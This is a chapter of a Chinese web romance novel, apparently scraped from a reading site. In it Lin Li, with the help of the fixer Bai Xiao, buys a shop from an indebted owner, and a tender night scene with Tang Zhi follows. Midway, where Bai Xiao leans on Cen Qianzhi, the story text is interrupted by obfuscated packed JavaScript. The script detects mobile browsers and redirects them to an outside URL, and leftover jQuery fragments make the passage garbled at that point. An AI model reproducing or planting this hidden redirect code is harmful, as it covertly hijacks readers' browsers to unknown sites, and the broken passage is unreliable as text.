52. 拍卖铺子

作品:《梨落折高栀

    *


    “来了——”


    睡眼朦胧的百晓听到门口的敲门声,随便披了件袍子,就起身去开门迎接面前这三位贵客。


    “百晓姑娘,早上好呀。”菲姨笑笑,同百晓熟稔地打了个招呼。


    百晓打了个哈欠:“虽然我昨天是说你们今天来早些,但是也没说要来那么早啊。”


    她转念一想,笑了笑,“这样也好,那我们现在就出发吧。”


    “出发?去哪?”林梨问道。


    “城南最旺的同安大街有个铺子今日拍卖呀!你们也是运气好,这条街上的铺子就没有做不下去的。”


    “那为何要拍卖?”林梨接着问道。


    ”哎,这家老板欠了一屁股赌债,急着拿钱还呢。所以此事只被京里一两家风媒知道了,老板怕丢脸呢。”


    没睡够的点儿问道:“那为什么要这么早去哇?”


    “我同行什么德行我自然最清楚。估计太阳出来不久,就已经有人蹲守在铺子门口了。”


    “为何不租呢?”


    “你好好想想,这铺子要是能抢到,就肯定是只赚不亏的;像这样的地段,三年租金都够买一间了!更何况,这街这么旺,就算不想做了,也可以不费吹灰之力地出手回流——这可是别人求都求不来的好东西呢!”


    百晓一把挽住林梨的手,“哎呀,不说那么多了,快上车啦——师傅!去同安大街!”


    ……


    太阳刚起没多久,同安大街的一家糖水铺前,已经熙熙攘攘地堆满了人。


    菲姨有些焦急地问道:“这可怎么办?”


    “呀,小事。”百晓早有预料,从袖子中掏出一袋银两,悄悄地往牌匾下几位正在四周张望的伙计那去。


    “来,王哥,这些您收下,孝敬您的。”


    王哥掂量了一下银子的分量,满意地将这袋银两收了起来:


    “哎呀,客气客气。”


    百晓又悄咪咪地走回了大本营,而那王哥开始一个个地同等候的人说些悄悄话。


    没过多久,等待拍卖的竟然只剩下她们一家了。


    “这……是怎么做到的?”林梨好奇地问道。


    “提前踩点,简单。这是风媒的基本共识!”


    众人纷纷感慨,真是术业有专攻啊。


    满脸憔悴的老板推开门来,只见门口就四个姑娘家。


    “怎么就这么几个人?还是女子?”


    王哥连忙弓腰解释道:


    “哎呀,李老板,你也知道,近来生意不景气啊,大家兜里都没几个钱——而且,您不是叫我别声张的吗?”


    “那也不是叫你放给这几个姑娘家家啊!姑娘能做个什么生意?”李老板抱着手,满脸不屑,“哼,居然还能有钱买铺子,这钱是怎么来的都不知道吧?”


    百晓听到这番恶意揣测的话后顿时炸了毛:


    “姑娘家怎么就不能做生意了?你个赌到裤衩子都不剩的人还教育起人来了?”


    那李老板也如被戳到肺管子般,气急败坏,越说越过分:


    “哦?怎么,你们女的不好好在家相夫教子,出来跑头露面,不是想勾引男人、钓金龟婿,还能是为了什么?”


    在场每个人都变了神色,紧蹙眉头,几乎忘了来这里的目的。


    菲姨挽起袖子:这个狗东西,让我一巴掌拍晕他!


    点儿鼓起腮帮:好气!!!


    林梨也皱着眉,挡住了想上去用巴掌理论的菲姨与百晓,安抚道:


    “好了,别忘了,我们来这是为了铺子的。”


    闻言,愤怒的二人立马原地做起了深呼吸,总算平复了些情绪。


    林梨温声问道:


    “李老板,您要现银,我要铺子,这笔交易若是成了,不是共赢吗?”


    李老板的心眼小得跟银针似的,愤愤说:


    “共赢?我就算卖,也不卖给你们这些娘们,丢我一个大男人的脸!”


    听罢,林梨在心里大大翻了个白眼:


    真是拎不清主次的蠢东西。


    “那赌债呢,不还了?我看你这牌匾上被泼的红漆都没擦干净呢,这么急着出手,总不能是为了做慈善吧?”


    李老板被林梨的一番话气得脸胀鼻子红:“你、你你!”


    如此脆弱的自尊心。


    他在用地用力地挥袖:“我死都不会卖给你的!无知的妇人,在这里装什么呢!”


    “行,我们走。”林梨利落地转身。


    “嗯?这就走了?”菲姨诧异地问道。


    “碰到这种有娘生没娘养的王八,真是晦气!”百晓啐道。


    “哼!活该他倒霉八辈子!”点儿愤愤补充道。


    林梨轻轻叹了口气,柔声安抚道:


    “小事,反正京里又不止这一家要卖。”


    见情况不对,那收了钱的王哥哪敢将事搞砸,赶紧好声好气地安抚李老板:


    “李老板啊,就这家了,你可别意气用事啊!那收债的都找上门来了,再还不上,这一大家子该怎么办?阿乖不是还病着呢嘛?”


    李老板生气地踹了王哥一脚后,总算恢复了些神智,但还是放不下面子,只好命令王哥去叫住正要走上马车的林梨。


    王哥尴尬一笑:“姑娘啊,老板让我问你,您可以出多少钱?”


    “五百两。”


    “五百两?我们这一年租金都要三百两呢!姑娘,您若是诚心想要,再想想吧!”


    她面无表情地低声问道:“他欠多少钱?”


    王哥比了个二。


    “两百?”


    他不好意思地嘿嘿一笑:“得再加点。”


    加点?


    “两千是吧?”


    “是……这铺子里边还有个大院子呢!还能住人的,姑娘你要不去瞧瞧?”


    其实并不太懂行情的林梨扭头瞧了眼百晓的神情:你看这个价格可以吗?


    百晓目光如炬,连连点头:非常可以,买吧,保证不亏。


    林梨想了想,自唐栀夺魁以来,赠礼与奖励无数,加上自己的积蓄,也能拿的出两千两了。


    “我可以答应,但是,房契、地契、经营许可也要一并转让。店里所有的东西,也归我们。”


    若只是铺子同经营权,两千两实在是多了些;但要算上房、地,那这两千两定然是只赚不亏。


    不过,此时,林梨并没想到这两千两该如何在不告知唐栀原委的情况下取出。


    “哎哟,这个我得问问老板——”


    王哥又匆匆跑回李老板身边。李老板听后,气愤地甩了甩袖子。


    “看他这反应,是不是没戏了?”先上了马车的菲姨从车窗中探头问道。


    “小姐!没什么大不了的!我们可以再找!”


    百晓拍了拍林梨的脑袋:


    “诶!我想起来有个地方风水也不错,还比这便宜……”


    “姑娘!姑娘!”是王哥的声音,


    “李老板答应了!”


    ……


    之后,在老江湖百晓的陪同下,林梨先拿出提前备好的五百两银子作为押金,打好欠条,便速度同李老板去官府办好了各项手续。


    趁天黑前,大家总算回到了自己的卧房之中。


    披散着头发的百晓依偎在岑千知怀里:<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238006|162091||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “哎,一个百晓阁就够呛的,怎么现在又来一件要自己帮忙的事?关键既然答应了人家,也不好推脱掉……”


    岑千知拿檀木梳子梳着百晓的头发,柔声问:


    “需不需要我出面?”


    “我们这小打小闹,哪里用得着你这样的重要角色?”百晓撇撇嘴。


    “小打小闹?你们打算做什么?”


    “花肆吧。林二她擅长伺弄花木,应该也算个卖点。”


    岑千知想了想:“的确,我见过渭城唐府的花,确实生得不错。”


    “估计是随她娘。”


    “她娘岳娥?我记得她当年可是做过茶庄的账房呢,居然会对花木感兴趣?”


    百晓想了想:“应该是因为……唐栀养母吧,她与林二夫人是挚友来着。当年渭城,可是无人不知这对好金兰的。”


    “你可知唐栀养母是谁?”


    “不是叫沈桂吗?据我所知,就是一喜爱花木的民间女子,不过也不知是哪户出来的——嗐,我倒是突然想起来这风流成性的林大人最爱迫害民间女子了,离京进京途中都是艳遇不断的……真是令人作呕啊,活该有今天的下场。”


    “那你可知,这位名唤‘沈桂’的女子,下场如何?”


    “据说是得病死了,但我听闻,整个渭城都找不到她的墓地。我猜,她的死因肯定不简单!”


    岑千知将梳子放下,左手挽起百晓的头发,右手拿起木簪:


    “他们居然没和你说嘛?”


    百晓疑惑地眨眨眼:


    “说什么?”


    “好了,簪好了——她还活着呀。”


    ……


    一到夜晚,林梨的思绪就尤其纷杂。


    买铺子的事是不是我太冲动了?再怎么说也是这么大一笔钱……


    这百晓姑娘真的可信吗?莫不是骗我的?瞧她那冲动样,应该不是吧……


    菲姨同王二大哥有可能吗?二人也算有些身份上的悬殊,更何况菲姨没办手续,依旧是我那牢中父亲的小妾……


    唐栀,说他喜欢我……还是男女之情的那种喜欢……


    那我呢?


    ……


    我到底是怎么想的呢?


    林梨的心砰砰作响。


    好吧,的确是……那种。


    可若真的确认了彼此的心意,那我与唐栀,又该如何相处呢?


    会不会很别扭呢?


    而且,是不是就要干些敦伦(少儿不宜)之事了……?


    想到这,林梨的脸颊发烫,她却一点都不想透气散热,只想将脸更深地埋进被子里。


    “吱”。


    门被人打开了,躲在被子里胡思乱想的林梨却没发觉。


    “姐姐?”


    听到唐栀的声响,林梨咻得一下从被子里冒出:


    “阿栀?你怎么来了?”


    唐栀见她满脸通红,只当她是在被子里闷坏了。


    “给你煮了桃胶红糖水,看你房里有光但敲门没人应,所以就擅自开门了,还望姐姐莫怪。”


    林梨的双手紧紧抓住被子,手足无措地问道:“怎么这么突然?”


    唐栀眉眼弯弯,十分自觉地坐到榻边:


    “你猜猜。”


    “少废话,快说。”


    “还不是因为今早和晚上都没见着你,想你了,来瞧瞧你。”语气中还夹杂着几丝委屈。


    林梨:……


    什么?


    想我了?!


    怎么这么直白!!!


    林梨又默默将脑袋缩回了被子里。


    #小狗的直球真的接不住怎么办!急!